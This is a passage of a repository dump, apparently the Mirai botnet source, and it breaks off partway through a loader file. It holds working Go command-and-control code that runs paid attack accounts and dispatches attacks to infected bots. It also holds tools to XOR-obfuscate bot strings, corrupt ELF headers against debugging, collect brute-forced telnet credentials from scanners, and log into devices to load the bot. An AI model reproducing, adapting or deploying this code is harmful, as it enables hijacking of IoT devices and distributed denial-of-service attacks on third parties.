    "content": "package main\n\nimport (\n    \"time\"\n    \"math/rand\"\n    \"sync\"\n    \"fmt\"\n)\n\ntype AttackSend struct {\n    buf         []byte\n    count       int\n    botCata     string\n}\n\ntype ClientList struct {\n    uid         int\n    count       int\n    clients     map[int]*Bot\n    addQueue    chan *Bot\n    delQueue    chan *Bot\n    atkQueue    chan *AttackSend\n    totalCount  chan int\n    cntView     chan int\n    distViewReq chan int\n    distViewRes chan map[string]int\n    cntMutex    *sync.Mutex\n}\n\nfunc NewClientList() *ClientList {\n    c := &ClientList{0, 0, make(map[int]*Bot), make(chan *Bot, 128), make(chan *Bot, 128), make(chan *AttackSend), make(chan int, 64), make(chan int), make(chan int), make(chan map[string]int), &sync.Mutex{}}\n    go c.worker()\n    go c.fastCountWorker()\n    return c\n}\n\nfunc (this *ClientList) Count() int {\n    this.cntMutex.Lock()\n    defer this.cntMutex.Unlock()\n\n    this.cntView <- 0\n    return <-this.cntView\n}\n\nfunc (this *ClientList) Distribution() map[string]int {\n    this.cntMutex.Lock()\n    defer this.cntMutex.Unlock()\n    this.distViewReq <- 0\n    return <-this.distViewRes\n}\n\nfunc (this *ClientList) AddClient(c *Bot) {\n    this.addQueue <- c\n}\n\nfunc (this *ClientList) DelClient(c *Bot) {\n    this.delQueue <- c\n    fmt.Printf(\"Deleted client %d - %s - %s\\n\", c.version, c.source, c.conn.RemoteAddr())\n}\n\nfunc (this *ClientList) QueueBuf(buf []byte, maxbots int, botCata string) {\n    attack := &AttackSend{buf, maxbots, botCata}\n    this.atkQueue <- attack\n}\n\nfunc (this *ClientList) fastCountWorker() {\n    for {\n        select {\n        case delta := <-this.totalCount:\n            this.count += delta\n            break\n        case <-this.cntView:\n            this.cntView <- this.count\n            break\n        }\n    }\n}\n\nfunc (this *ClientList) worker() {\n    rand.Seed(time.Now().UTC().UnixNano())\n\n    for {\n        select {\n        case add := <-this.addQueue:\n            this.totalCount <- 1\n            this.uid++\n            add.uid = this.uid\n            this.clients[add.uid] = add\n            break\n        case del := <-this.delQueue:\n            this.totalCount <- -1\n            delete(this.clients, del.uid)\n            break\n        case atk := <-this.atkQueue:\n            if atk.count == -1 {\n                for _,v := range this.clients {\n                    if atk.botCata == \"\" || atk.botCata == v.source {\n                        v.QueueBuf(atk.buf)\n                    }\n                }\n            } else {\n                var count int\n                for _, v := range this.clients {\n                    if count > atk.count {\n                        break\n                    }\n                    if atk.botCata == \"\" || atk.botCata == v.source {\n                        v.QueueBuf(atk.buf)\n                        count++\n                    }\n                }\n            }\n            break\n        case <-this.cntView:\n            this.cntView <- this.count\n            break\n        case <-this.distViewReq:\n            res := make(map[string]int)\n            for _,v := range this.clients {\n                if ok,_ := res[v.source]; ok > 0 {\n                    res[v.source]++\n                } else {\n                    res[v.source] = 1\n                }\n            }\n            this.distViewRes <- res\n        }\n    }\n}\n\n"
  },
  {
    "path": "mirai/cnc/constants.go",
    "content": "package main\n\nconst MiraiPrompt = `\n Ü\u001b[1;41m±²\u001b[40mß\u001b[41m²±\u001b[0;31mÜ Ü\u001b[1;41m±²\u001b[1C²±\u001b[0;31mÜ Ü\u001b[1;41m±²\u001b[40m\u001b[A\n\u001b[20C\u001b[40mß\u001b[41m²±\u001b[0;31mÜ Ü\u001b[1;41m±²\u001b[40mß\u001b[41m²±\u001b[0;31mÜ Ü\u001b[1;41m°±²\u001b[40m\u001b[A\n\u001b[37C\u001b[41m²Û\u001b[6C\u001b[0;31mÜ\u001b[1;41m±²\u001b[40mß\u001b[41m²±\u001b[0;31mÜ Ü\u001b[1;41m±²\u001b[1C²\u001b[40m\u001b[A\n\u001b[58C\u001b[41m±\u001b[0;31mÜ Ü\u001b[1;41m±²\u001b[1C\u001b[0;31mÜ\u001b[1;41m°±²²Û\u001b[1C²±°°±²²\u001b[40m\n \u001b[30;41m°\u001b[31m°±\u001b[1C±° \u001b[1C\u001b[30m°\u001b[31m°±\u001b[1C±°°\u001b[1C\u001b[30m°\u001b[31m°±\u001b[1C±\u001b[40m\u001b[A\n\u001b[22C\u001b[41m°°\u001b[1C\u001b[30m°\u001b[31m°±\u001b[1C±°°\u001b[1C\u001b[30m°\u001b[31m°±\u001b[9C\u001b[30m°\u001b[31m°±\u001b[40m\u001b[A\n\u001b[48C\u001b[1C\u001b[41m±°°\u001b[1C\u001b[30m°\u001b[31m°±\u001b[1C±°°\u001b[1C\u001b[30m°\u001b[31m°±\u001b[1C\u001b[30m°\u001b[40m\u001b[A\n\u001b[66C\u001b[41m\u001b[31m°±\u001b[6C\u001b[30m°\u001b[31m°±\u001b[40m\n \u001b[30;41m±°\u001b[31m°\u001b[1C\u001b[30m±°\u001b[31m°\u001b[1C\u001b[30m±°\u001b[31m°\u001b[1C\u001b[30m±° \u001b[1C±°\u001b[40m\u001b[A\n\u001b[19C\u001b[41m\u001b[31m°\u001b[1C\u001b[30m°° \u001b[1C±°\u001b[31m°\u001b[1C\u001b[30m±° \u001b[1C±°\u001b[31m°\u001b[9C\u001b[40m\u001b[A\n\u001b[45C\u001b[41m\u001b[30m±°\u001b[31m°\u001b[1C\u001b[30m±° \u001b[1C±°\u001b[31m°\u001b[1C\u001b[30m±° \u001b[1C±°\u001b[31m\u001b[40m\u001b[A\n\u001b[63C\u001b[41m°\u001b[1C\u001b[30m±°\u001b[31m°\u001b[6C\u001b[30m±°\u001b[31m°\u001b[40m\n \u001b[30;41m²±°\u001b[1C²±±\u001b[1C²±°\u001b[1C²±±\u001b[1C²±°\u001b[1C²±±\u001b[1C²±°\u001b[1C²±±\u001b[1C²±°\u001b[40m\u001b[A\n\u001b[36C\u001b[9C\u001b[41m²±°\u001b[1C²±±\u001b[1C²±°\u001b[1C²±±\u001b[1C²±°\u001b[1C²±°\u001b[6C²±°\u001b[40m\n \u001b[41mÛ²±\u001b[1C\u001b[40mÛÛ\u001b[41m²\u001b[1CÛ²±\u001b[1CÛ²²\u001b[1CÛ²±\u001b[1C\u001b[40mÛ\u001b[41m²±\u001b[1C\u001b[40m\u001b[A\n\u001b[25C\u001b[40mÞ\u001b[41m²²\u001b[40mÝ    Û\u001b[41m²°\u001b[9C\u001b[40mÞ\u001b[41m²²\u001b[40mÝ    \u001b[41mÛ²\u001b[40m\u001b[A\n\u001b[55C\u001b[41m±\u001b[1CÛ²²\u001b[1CÛ²±\u001b[1C\u001b[40mÛ\u001b[41m²°\u001b[6C\u001b[40mÛ\u001b[41m²°\u001b[40m\n ÛÛ\u001b[41m²\u001b[1C²Û\u001b[40mÛ ÛÛ\u001b[41m²\u001b[40mÜÛÛ\u001b[41m²\u001b[1C\u001b[40mÛ\u001b[41mÛ\u001b[40mÛ \u001b[A\n\u001b[21C\u001b[41m²\u001b[40mÛ\u001b[41m²\u001b[2C\u001b[40mßÛ\u001b[41m²\u001b[40mÛÜ  ÛÛ\u001b[41m²\u001b[40mÜÜ\u001b[8CßÛ\u001b[A\n\u001b[48C\u001b[41m²\u001b[40mÛÜ  ÛÛ\u001b[41m²\u001b[40mÜÛÛ\u001b[41m²\u001b[1C\u001b[40mÛ\u001b[41mÛ\u001b[40mÛ ÛÛ\u001b[A\n\u001b[67C\u001b[41m²\u001b[40mÜÜ    ÛÛÛ\n ²ÛÛßßßß ÛÛ² ÛÛÛ ÛÛ² ÛÛÛ    ßÛÛÛ ÛÛ²\u001b[12CßÛÛÛ ÛÛ² ÛÛÛ ÛÛ² ÛÛ²\u001b[6CÛÛÛ\n ²\u001b[47mÛ\u001b[40m²\u001b[5C²Û² ²ÛÛ ÛÛ² ²ÛÛ\u001b[5CÛÛ² ÛÛ²\u001b[13CÛÛ² ²Û² ²ÛÛ ÛÛ² ÛÛ²\u001b[6C²ÛÛ\n ±\u001b[47mÛ\u001b[40m²\u001b[5C²Û± ²Û² ²Û²Ü²Û² ±²Û ²Û² ²Û²\u001b[9C±²Û ²Û² ²Û± ²Û² ²Û² ²Û²\u001b[A\n\u001b[68C\u001b[6C²Û²\n ±\u001b[47mÛ\u001b[40m±\u001b[5C±Û± ±Û± ±Û± ±Û± ²ÛÛ ±Û± ±Û±\u001b[9C²ÛÛ ±Û± ±Û± ±Û± ±Û± ±Û±\u001b[A\n\u001b[68C\u001b[6C±Û±\n °\u001b[47mÛ\u001b[40m°\u001b[5C°Û° °Û° °Û° °Û° ßÛÛÜÛÛß °ÛÛÛÛÛ\u001b[6CßÛÛÜÛÛß °Û° °Û° °Û° °Û°\u001b[A\n\u001b[68C\u001b[6C°Û°\n\n SYSOP: PIRATE PETE   ú   CUSTOMIZED PCB 15.1   ú   CLASSIC GAMES/UTILS ARE\u001b[A\n\u001b[75CA\n NODES: 604-732-3233  ú   NODES 2-4 604-NOT-4U! ú   NODES 5-6 604-NOT-YET!\n 2.1 GIGZ ONLINE\u001b[6Cú   SYNDROME DISTRO SITE  ú   EXPERIENCED USERS ONLY\n\n\u001b[19CANSI : THE MASKED PIRATEúIMPERIAL\n`"
  },
  {
    "path": "mirai/cnc/database.go",
    "content": "package main\n\nimport (\n    \"database/sql\"\n    \"fmt\"\n    \"net\"\n    \"encoding/binary\"\n    _ \"github.com/go-sql-driver/mysql\"\n    \"time\"\n    \"errors\"\n)\n\ntype Database struct {\n    db      *sql.DB\n}\n\ntype AccountInfo struct {\n    username    string\n    maxBots     int\n    admin       int\n}\n\nfunc NewDatabase(dbAddr string, dbUser string, dbPassword string, dbName string) *Database {\n    db, err := sql.Open(\"mysql\", fmt.Sprintf(\"%s:%s@tcp(%s)/%s\", dbUser, dbPassword, dbAddr, dbName))\n    if err != nil {\n        fmt.Println(err)\n    }\n    fmt.Println(\"Mysql DB opened\")\n    return &Database{db}\n}\n\nfunc (this *Database) TryLogin(username string, password string) (bool, AccountInfo) {\n    rows, err := this.db.Query(\"SELECT username, max_bots, admin FROM users WHERE username = ? AND password = ? AND (wrc = 0 OR (UNIX_TIMESTAMP() - last_paid < `intvl` * 24 * 60 * 60))\", username, password)\n    if err != nil {\n        fmt.Println(err)\n        return false, AccountInfo{\"\", 0, 0}\n    }\n    defer rows.Close()\n    if !rows.Next() {\n        return false, AccountInfo{\"\", 0, 0}\n    }\n    var accInfo AccountInfo\n    rows.Scan(&accInfo.username, &accInfo.maxBots, &accInfo.admin)\n    return true, accInfo\n}\n\nfunc (this *Database) CreateUser(username string, password string, max_bots int, duration int, cooldown int) bool {\n    rows, err := this.db.Query(\"SELECT username FROM users WHERE username = ?\", username)\n    if err != nil {\n        fmt.Println(err)\n        return false\n    }\n    if rows.Next() {\n        return false\n    }\n    this.db.Exec(\"INSERT INTO users (username, password, max_bots, admin, last_paid, cooldown, duration_limit) VALUES (?, ?, ?, 0, UNIX_TIMESTAMP(), ?, ?)\", username, password, max_bots, cooldown, duration)\n    return true\n}\n\nfunc (this *Database) ContainsWhitelistedTargets(attack *Attack) bool {\n    rows, err := this.db.Query(\"SELECT prefix, netmask FROM whitelist\")\n    if err != nil {\n        fmt.Println(err)\n        return false\n    }\n    defer rows.Close()\n    for rows.Next() {\n        var prefix string\n        var netmask uint8\n        rows.Scan(&prefix, &netmask)\n\n        // Parse prefix\n        ip := net.ParseIP(prefix)\n        ip = ip[12:]\n        iWhitelistPrefix := binary.BigEndian.Uint32(ip)\n\n        for aPNetworkOrder, aN := range attack.Targets {\n            rvBuf := make([]byte, 4)\n            binary.BigEndian.PutUint32(rvBuf, aPNetworkOrder)\n            iAttackPrefix := binary.BigEndian.Uint32(rvBuf)\n            if aN > netmask { // Whitelist is less specific than attack target\n                if netshift(iWhitelistPrefix, netmask) == netshift(iAttackPrefix, netmask) {\n                    return true\n                }\n            } else if aN < netmask { // Attack target is less specific than whitelist\n                if (iAttackPrefix >> aN) == (iWhitelistPrefix >> aN) {\n                    return true\n                }\n            } else { // Both target and whitelist have same prefix\n                if (iWhitelistPrefix == iAttackPrefix) {\n                    return true\n                }\n            }\n        }\n    }\n    return false\n}\n\nfunc (this *Database) CanLaunchAttack(username string, duration uint32, fullCommand string, maxBots int, allowConcurrent int) (bool, error) {\n    rows, err := this.db.Query(\"SELECT id, duration_limit, cooldown FROM users WHERE username = ?\", username)\n    defer rows.Close()\n    if err != nil {\n        fmt.Println(err)\n    }\n    var userId, durationLimit, cooldown uint32\n    if !rows.Next() {\n        return false, errors.New(\"Your access has been terminated\")\n    }\n    rows.Scan(&userId, &durationLimit, &cooldown)\n\n    if durationLimit != 0 && duration > durationLimit {\n        return false, errors.New(fmt.Sprintf(\"You may not send attacks longer than %d seconds.\", durationLimit))\n    }\n    rows.Close()\n\n    if allowConcurrent == 0 {\n        rows, err = this.db.Query(\"SELECT time_sent, duration FROM history WHERE user_id = ? AND (time_sent + duration + ?) > UNIX_TIMESTAMP()\", userId, cooldown)\n        if err != nil {\n            fmt.Println(err)\n        }\n        if rows.Next() {\n            var timeSent, historyDuration uint32\n            rows.Scan(&timeSent, &historyDuration)\n            return false, errors.New(fmt.Sprintf(\"Please wait %d seconds before sending another attack\", (timeSent + historyDuration + cooldown) - uint32(time.Now().Unix())))\n        }\n    }\n\n    this.db.Exec(\"INSERT INTO history (user_id, time_sent, duration, command, max_bots) VALUES (?, UNIX_TIMESTAMP(), ?, ?, ?)\", userId, duration, fullCommand, maxBots)\n    return true, nil\n}\n\nfunc (this *Database) CheckApiCode(apikey string) (bool, AccountInfo) {\n    rows, err := this.db.Query(\"SELECT username, max_bots, admin FROM users WHERE api_key = ?\", apikey)\n    if err != nil {\n        fmt.Println(err)\n        return false, AccountInfo{\"\", 0, 0}\n    }\n    defer rows.Close()\n    if !rows.Next() {\n        return false, AccountInfo{\"\", 0, 0}\n    }\n    var accInfo AccountInfo\n    rows.Scan(&accInfo.username, &accInfo.maxBots, &accInfo.admin)\n    return true, accInfo\n}\n"
  },
  {
    "path": "mirai/cnc/main.go",
    "content": "package main\n\nimport (\n    \"fmt\"\n    \"net\"\n    \"errors\"\n    \"time\"\n)\n\nconst DatabaseAddr string   = \"127.0.0.1\"\nconst DatabaseUser string   = \"root\"\nconst DatabasePass string   = \"password\"\nconst DatabaseTable string  = \"mirai\"\n\nvar clientList *ClientList = NewClientList()\nvar database *Database = NewDatabase(DatabaseAddr, DatabaseUser, DatabasePass, DatabaseTable)\n\nfunc main() {\n    tel, err := net.Listen(\"tcp\", \"0.0.0.0:23\")\n    if err != nil {\n        fmt.Println(err)\n        return\n    }\n\n    api, err := net.Listen(\"tcp\", \"0.0.0.0:101\")\n    if err != nil {\n        fmt.Println(err)\n        return\n    }\n\n    go func() {\n        for {\n            conn, err := api.Accept()\n            if err != nil {\n                break\n            }\n            go apiHandler(conn)\n        }\n    }()\n\n    for {\n        conn, err := tel.Accept()\n        if err != nil {\n            break\n        }\n        go initialHandler(conn)\n    }\n\n    fmt.Println(\"Stopped accepting clients\")\n}\n\nfunc initialHandler(conn net.Conn) {\n    defer conn.Close()\n\n    conn.SetDeadline(time.Now().Add(10 * time.Second))\n\n    buf := make([]byte, 32)\n    l, err := conn.Read(buf)\n    if err != nil || l <= 0 {\n        return\n    }\n\n    if l == 4 && buf[0] == 0x00 && buf[1] == 0x00 && buf[2] == 0x00 {\n        if buf[3] > 0 {\n            string_len := make([]byte, 1)\n            l, err := conn.Read(string_len)\n            if err != nil || l <= 0 {\n                return\n            }\n            var source string\n            if string_len[0] > 0 {\n                source_buf := make([]byte, string_len[0])\n                l, err := conn.Read(source_buf)\n                if err != nil || l <= 0 {\n                    return\n                }\n                source = string(source_buf)\n            }\n            NewBot(conn, buf[3], source).Handle()\n        } else {\n            NewBot(conn, buf[3], \"\").Handle()\n        }\n    } else {\n        NewAdmin(conn).Handle()\n    }\n}\n\nfunc apiHandler(conn net.Conn) {\n    defer conn.Close()\n\n    NewApi(conn).Handle()\n}\n\nfunc readXBytes(conn net.Conn, buf []byte) (error) {\n    tl := 0\n\n    for tl < len(buf) {\n        n, err := conn.Read(buf[tl:])\n        if err != nil {\n            return err\n        }\n        if n <= 0 {\n            return errors.New(\"Connection closed unexpectedly\")\n        }\n        tl += n\n    }\n\n    return nil\n}\n\nfunc netshift(prefix uint32, netmask uint8) uint32 {\n    return uint32(prefix >> (32 - netmask))\n}\n"
  },
  {
    "path": "mirai/prompt.txt",
    "content": "я люблю куриные наггетсы\n"
  },
  {
    "path": "mirai/tools/badbot.c",
    "content": "#include <stdio.h>\n#include <unistd.h>\n\nint main(int argc, char **args)\n{\n    printf(\"REPORT %s:%s\\n\", \"127.0.0.1\", \"80\");\n\n    while (1)\n        sleep(1);\n\n    return 0;\n}"
  },
  {
    "path": "mirai/tools/enc.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n#include <arpa/inet.h>\n\nstatic uint32_t table_key = 0xdeadbeef;\n\nvoid *x(void *, int);\n\nint main(int argc, char **args)\n{\n    void *data;\n    int len, i;\n\n    if (argc != 3)\n    {\n        printf(\"Usage: %s <string | ip | uint32 | uint16 | uint8 | bool> <data>\\n\", args[0]);\n        return 0;\n    }\n\n    if (strcmp(args[1], \"string\") == 0)\n    {\n        data = args[2];\n        len = strlen(args[2]) + 1;\n    }\n    else if (strcmp(args[1], \"ip\") == 0)\n    {\n        data = calloc(1, sizeof (uint32_t));\n        *((uint32_t *)data) = inet_addr(args[2]);\n        len = sizeof (uint32_t);\n    }\n    else if (strcmp(args[1], \"uint32\") == 0)\n    {\n        data = calloc(1, sizeof (uint32_t));\n        *((uint32_t *)data) = htonl((uint32_t)atoi(args[2]));\n        len = sizeof (uint32_t);\n    }\n    else if (strcmp(args[1], \"uint16\") == 0)\n    {\n        data = calloc(1, sizeof (uint16_t));\n        *((uint16_t *)data) = htons((uint16_t)atoi(args[2]));\n        len = sizeof (uint16_t);\n    }\n    else if (strcmp(args[1], \"uint8\") == 0)\n    {\n        data = calloc(1, sizeof (uint8_t));\n        *((uint8_t *)data) = atoi(args[2]);\n        len = sizeof (uint8_t);\n    }\n    else if (strcmp(args[1], \"bool\") == 0)\n    {\n        data = calloc(1, sizeof (char));\n        if (strcmp(args[2], \"false\") == 0)\n            ((char *)data)[0] = 0;\n        else if (strcmp(args[2], \"true\") == 0)\n            ((char *)data)[0] = 1;\n        else\n        {\n            printf(\"Unknown value `%s` for datatype bool!\\n\", args[2]);\n            return -1;\n        }\n        len = sizeof (char);\n    }\n    else\n    {\n        printf(\"Unknown data type `%s`!\\n\", args[1]);\n        return -1;\n    }\n\n    // Yes we are leaking memory, but the program is so\n    // short lived that it doesn't really matter...\n    printf(\"XOR'ing %d bytes of data...\\n\", len);\n    data = x(data, len);\n    for (i = 0; i < len; i++)\n        printf(\"\\\\x%02X\", ((unsigned char *)data)[i]);\n    printf(\"\\n\");\n}\n\nvoid *x(void *_buf, int len)\n{\n    unsigned char *buf = (char *)_buf, *out = malloc(len);\n    int i;\n    uint8_t k1 = table_key & 0xff,\n            k2 = (table_key >> 8) & 0xff,\n            k3 = (table_key >> 16) & 0xff,\n            k4 = (table_key >> 24) & 0xff;\n\n    for (i = 0; i < len; i++)\n    {\n        char tmp = buf[i] ^ k1;\n\n        tmp ^= k2;\n        tmp ^= k3;\n        tmp ^= k4;\n\n        out[i] = tmp;\n    }\n\n    return out;\n}\n"
  },
  {
    "path": "mirai/tools/nogdb.c",
    "content": "#include <stdio.h>\n#include <sys/mman.h>\n#include <unistd.h>\n#include <stdlib.h>\n#include <elf.h>\n#include <sys/stat.h>\n#include <sys/types.h>\n#include <sys/procfs.h>\n#include <fcntl.h>\n\nint main(int argc, char** argv) {\n    int f;\n    static Elf32_Ehdr* header;\n\n    printf(\".: Elf corrupt :.\\n\");\n\n    if(argc < 2){\n        printf(\"Usage: %s file\", argv[0]);\n        return 1;\n    }\n\n    if((f = open(argv[1], O_RDWR)) < 0){\n        perror(\"open\");\n        return 1;\n    }\n\n    //MAP_SHARED is required to actually update the file\n    if((header = (Elf32_Ehdr *) mmap(NULL, sizeof(header), PROT_READ | PROT_WRITE, MAP_SHARED, f, 0)) == MAP_FAILED){\n        perror(\"mmap\");\n        close(f);\n        return 1;\n    }\n\n    printf(\"[*] Current header values:\\n\");\n    printf(\"\\te_shoff:%d\\n\\te_shnum:%d\\n\\te_shstrndx:%d\\n\",\n            header->e_shoff, header->e_shnum, header->e_shstrndx);\n\n    header->e_shoff = 0xffff;\n    header->e_shnum = 0xffff;\n    header->e_shstrndx = 0xffff;\n\n    printf(\"[*] Patched header values:\\n\");\n    printf(\"\\te_shoff:%d\\n\\te_shnum:%d\\n\\te_shstrndx:%d\\n\",\n            header->e_shoff, header->e_shnum, header->e_shstrndx);\n\n    if(msync(NULL, 0, MS_SYNC) == -1){\n        perror(\"msync\");\n        close(f);\n        return 1;\n    }\n\n    close(f);\n    munmap(header, 0);\n    printf(\"You should no more be able to run \\\"%s\\\" inside GDB\\n\", argv[1]);\n    return 0;\n}"
  },
  {
    "path": "mirai/tools/scanListen.go",
    "content": "package main\n\nimport (\n    \"fmt\"\n    \"net\"\n    \"encoding/binary\"\n    \"errors\"\n    \"time\"\n)\n\nfunc main() {\n    l, err := net.Listen(\"tcp\", \"0.0.0.0:48101\")\n    if err != nil {\n        fmt.Println(err)\n        return\n    }\n\n    for {\n        conn, err := l.Accept()\n        if err != nil {\n            break\n        }\n        go handleConnection(conn)\n    }\n}\n\nfunc handleConnection(conn net.Conn) {\n    defer conn.Close()\n    conn.SetDeadline(time.Now().Add(10 * time.Second))\n\n    bufChk, err := readXBytes(conn, 1)\n    if err != nil {\n        return\n    }\n\n    var ipInt uint32\n    var portInt uint16\n\n    if bufChk[0] == 0 {\n        ipBuf, err := readXBytes(conn, 4)\n        if err != nil {\n            return\n        }\n        ipInt = binary.BigEndian.Uint32(ipBuf)\n\n        portBuf, err := readXBytes(conn, 2)\n        if err != nil {\n            return;\n        }\n\n        portInt = binary.BigEndian.Uint16(portBuf)\n    } else {\n        ipBuf, err := readXBytes(conn, 3)\n        if err != nil {\n            return;\n        }\n        ipBuf = append(bufChk, ipBuf...)\n\n        ipInt = binary.BigEndian.Uint32(ipBuf)\n\n        portInt = 23\n    }\n\n    uLenBuf, err := readXBytes(conn, 1)\n    if err != nil {\n        return\n    }\n    usernameBuf, err := readXBytes(conn, int(byte(uLenBuf[0])))\n\n    pLenBuf, err := readXBytes(conn, 1)\n    if err != nil {\n        return\n    }\n    passwordBuf, err := readXBytes(conn, int(byte(pLenBuf[0])))\n    if err != nil {\n        return\n    }\n\n    fmt.Printf(\"%d.%d.%d.%d:%d %s:%s\\n\", (ipInt >> 24) & 0xff, (ipInt >> 16) & 0xff, (ipInt >> 8) & 0xff, ipInt & 0xff, portInt, string(usernameBuf), string(passwordBuf))\n}\n\nfunc readXBytes(conn net.Conn, amount int) ([]byte, error) {\n    buf := make([]byte, amount)\n    tl := 0\n\n    for tl < amount {\n        rd, err := conn.Read(buf[tl:])\n        if err != nil || rd <= 0 {\n            return nil, errors.New(\"Failed to read\")\n        }\n        tl += rd\n    }\n\n    return buf, nil\n}\n"
  },
  {
    "path": "mirai/tools/single_load.c",
    "content": "#define _GNU_SOURCE\n\n#include <assert.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <stdarg.h>\n#include <unistd.h>\n#include <string.h>\n#include <sys/socket.h>\n#include <netinet/in.h>\n#include <signal.h>\n#include <sys/time.h>\n#include <sys/types.h>\n#include <fcntl.h>\n#include <ctype.h>\n#include <errno.h>\n#include <arpa/inet.h>\n#include <netinet/ip.h>\n#include <netinet/tcp.h>\n#include <pthread.h>\n#include <sys/queue.h>\n#include <sys/epoll.h>\n#include <glob.h>\n\n\n#define TOKEN           \"/bin/busybox VDOSS\"\n#define TOKEN_VERIFY    \"applet not found\"\n#define EXEC_VERIFY     \"YESHELLO\"\n\n#define BYTES_PER_LINE      128\n#define CHARS_PER_BYTE      5\n#define MAX_SLICE_LENGTH    (BYTES_PER_LINE * CHARS_PER_BYTE)\n\nstatic char *bind_ip = \"0.0.0.0\";\nstatic unsigned char debug_mode = 0;\nstatic int maxConnectedSockets = 0;\n\nstatic char *bin_server = NULL;\nstatic unsigned short bin_port = NULL;\nstatic char *bin_path = NULL;\n\nvolatile int running_threads = 0;\nvolatile unsigned long found_srvs = 0;\nvolatile unsigned int bytes_sent = 0;\nvolatile unsigned long timed_out = 0;\nvolatile unsigned long login_done = 0;\nvolatile unsigned long failed_connect = 0;\nvolatile unsigned long remote_hangup = 0;\nvolatile unsigned short port = 0;\nvolatile unsigned int maxFDSaw = 0;\nFILE *infd;\nchar *run_arg = NULL;\n\nstatic int epollFD;\n\nstruct stateSlot_t\n{\n    int slotUsed;\n    \n    pthread_mutex_t mutex;\n    \n    unsigned char success;\n    unsigned char is_open;\n    unsigned char special;\n    unsigned char got_prompt;\n    \n    uint8_t pathInd;\n    \n    uint16_t echoInd;\n    \n    int complete;\n    uint32_t ip;\n    \n    int fd;\n    int updatedAt;\n    int reconnecting;\n    \n    unsigned char state;\n    \n    char path[5][32];\n    char username[32];\n    char password[32];\n};\n\nstruct\n{\n    int num_slices;\n    unsigned char **slices;\n} binary;\n\nstruct stateSlot_t stateTable[1024 * 100] = {0};\n\nextern float ceilf (float x);\n\nstatic int diff(int val)\n{\n    return (val > 0) ? val : 0;\n}\n\nint matchPrompt(char *bufStr)\n{\n    int i = 0, q = 0;\n    char *prompts = \":>%$#\";\n    \n    char *tmpStr = malloc(strlen(bufStr) + 1);\n    memset(tmpStr, 0, strlen(bufStr) + 1);\n    \n    // ayy lmao copy pasta for removing ansi shit\n    char in_escape = 0;\n    for (i = 0; i < strlen(bufStr); i++)\n    {\n        if (bufStr[i] == '\\x1B')\n        {\n            if (in_escape == 0) \n                in_escape = 1;\n        } else if ((in_escape == 1) && (strchr(\"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\", bufStr[i]) != NULL))\n        {\n            in_escape = 0;\n        } else if (in_escape == 0) \n        {\n            strncat(tmpStr, &(bufStr[i]), 1);\n        }\n    }\n    \n    int bufLen = strlen(tmpStr);\n    for(i = 0; i < strlen(prompts); i++)\n    {\n        while(bufLen > q && (*(tmpStr + bufLen - q) == 0x00 || *(tmpStr + bufLen - q) == ' ' || *(tmpStr + bufLen - q) == '\\r' || *(tmpStr + bufLen - q) == '\\n')) q++;\n        \n        if(*(tmpStr + bufLen - q) == prompts[i])\n        {\n            free(tmpStr);\n            return 1;\n        }           \n    }\n    \n    free(tmpStr);\n    return 0;\n}\n\nvoid hexDump(char *desc, void *addr, int len)\n{\n    int i;\n    unsigned char buff[17];\n    unsigned char *pc = (unsigned char*)addr;\n    if (desc != NULL) printf (\"%s:\\n\", desc);\n    for (i = 0; i < len; i++) {\n        if ((i % 16) == 0)\n        {\n            if (i != 0) printf (\"  %s\\n\", buff);\n            printf (\"  %04x \", i);\n        }\n        printf (\" %02x\", pc[i]);\n        if ((pc[i] < 0x20) || (pc[i] > 0x7e)) buff[i % 16] = '.';\n        else buff[i % 16] = pc[i];\n        buff[(i % 16) + 1] = '\\0';\n    }\n    while ((i % 16) != 0)\n    {\n        printf (\"   \");\n        i++;\n    }\n    printf (\"  %s\\n\", buff);\n}\n\nint log_recv(int sock, void *buf, int len, int flags)\n{\n    memset(buf, 0, len);\n    int ret = recv(sock, buf, len, flags);\n    if (ret > 0)\n    {\n        int i = 0;\n        for(i = 0; i < ret; i++)\n        {\n            if (((char *)buf)[i] == 0x00)\n            {\n                ((char *)buf)[i] = 'A';\n            }\n        }\n    }\n    if (debug_mode)\n    {\n        char hex_buf[32] = {0};\n        sprintf(hex_buf, \"state %d - recv: %d\", stateTable[sock].state, ret);\n        if (ret != -1)\n            hexDump(hex_buf, buf, ret);\n        else\n            printf(\"%s\\n\", hex_buf);\n    }\n    return ret;\n        \n}\n\nint log_send(int sock, void *buf, int len, int flags)\n{\n    if (debug_mode)\n    {\n        char hex_buf[32] = {0};\n        sprintf(hex_buf, \"state %d - send: %d\", stateTable[sock].state, len);\n        hexDump(hex_buf, buf, len);\n    }\n    bytes_sent+=len;\n    return send(sock, buf, len, flags);\n}\n\nint sockprintf(int sock, char *formatStr, ...)\n{\n    char textBuffer[2048] = {0};\n    memset(textBuffer, 0, 2048);\n    va_list args;\n    va_start(args, formatStr);\n    vsprintf(textBuffer, formatStr, args);\n    va_end(args);\n    int q = log_send(sock,textBuffer,strlen(textBuffer), MSG_NOSIGNAL);\n    return q;\n}\n\nvoid *memmem(const void *l, size_t l_len, const void *s, size_t s_len)\n{\n    register char *cur, *last;\n    const char *cl = (const char *)l;\n    const char *cs = (const char *)s;\n    if (l_len == 0 || s_len == 0) \n        return NULL;\n\n    if (l_len < s_len) \n        return NULL;\n\n    if (s_len == 1) \n        return memchr(l, (int)*cs, l_len);\n\n    last = (char *)cl + l_len - s_len;\n    for (cur = (char *)cl; cur <= last; cur++)\n        if (cur[0] == cs[0] && memcmp(cur, cs, s_len) == 0)\n            return cur;\n\n    return NULL;\n}\n\nvoid handle_remote_closed(int fd)\n{\n    remote_hangup++;\n}\n\nvoid handle_timeout(int fd)\n{\n    timed_out++;\n}\n\nvoid handle_failed_connect(int fd)\n{\n    failed_connect++;\n}\n\nvoid handle_found(int fd)\n{\n    /* \n    struct stateSlot_t *state = &stateTable[fd];\n    \n    struct sockaddr_in name;\n    int namelen = (sizeof (struct sockaddr_in));\n\n    getpeername(state->fd, &name, &namelen);\n    \n    FILE *fp = fopen(\"loaded.txt\", \"a\");\n    fprintf(outfd, \"%d.%d.%d.%d:%s:%s:%s:%d:%d:%d\\n\",\n        (name.sin_addr.s_addr & 0xff), \n        ((name.sin_addr.s_addr & (0xff << 8)) >> 8), \n        ((name.sin_addr.s_addr & (0xff << 16)) >> 16),\n        ((name.sin_addr.s_addr & (0xff << 24)) >> 24), \n        \n        state->username, \n        state->password, \n        state->path, \n        state->wget, \n        